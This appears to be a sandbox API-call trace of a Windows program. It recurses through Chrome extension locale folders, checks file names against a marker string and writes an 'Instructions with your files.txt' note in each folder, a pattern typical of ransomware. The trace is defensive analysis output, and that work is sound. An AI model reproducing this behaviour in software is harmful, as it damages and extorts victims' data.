[0129.193] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.193] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\..") returned 145
[0129.193] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.193] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 156
[0129.193] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.193] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.193] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\Instructions with your files.txt") returned 175
[0129.193] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.194] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.194] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.195] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.195] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.195] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.195] CloseHandle (hObject=0x134) returned 1
[0129.195] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.195] GetProcessHeap () returned 0x810000
[0129.195] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.195] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
[0129.195] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned 142
[0129.195] GetProcessHeap () returned 0x810000
[0129.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.195] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*") returned 144
[0129.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.197] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\.") returned 144
[0129.197] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.197] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\..") returned 145
[0129.197] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.197] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 156
[0129.197] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.197] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.197] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\Instructions with your files.txt") returned 175
[0129.197] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.197] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.198] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.198] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.198] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.198] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.198] CloseHandle (hObject=0x134) returned 1
[0129.198] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.198] GetProcessHeap () returned 0x810000
[0129.198] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.198] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0129.199] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned 142
[0129.199] GetProcessHeap () returned 0x810000
[0129.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.199] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*") returned 144
[0129.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.200] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\.") returned 144
[0129.200] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.200] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\..") returned 145
[0129.200] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.200] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 156
[0129.200] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.201] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.201] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\Instructions with your files.txt") returned 175
[0129.201] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.201] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.202] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.202] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.202] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.202] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.202] CloseHandle (hObject=0x134) returned 1
[0129.202] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.203] GetProcessHeap () returned 0x810000
[0129.203] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.203] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0129.203] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned 143
[0129.203] GetProcessHeap () returned 0x810000
[0129.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.203] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*") returned 145
[0129.203] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.203] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\.") returned 145
[0129.203] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.203] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\..") returned 146
[0129.203] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.203] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 157
[0129.203] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.203] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.203] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\Instructions with your files.txt") returned 176
[0129.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.204] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.204] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.205] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.205] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
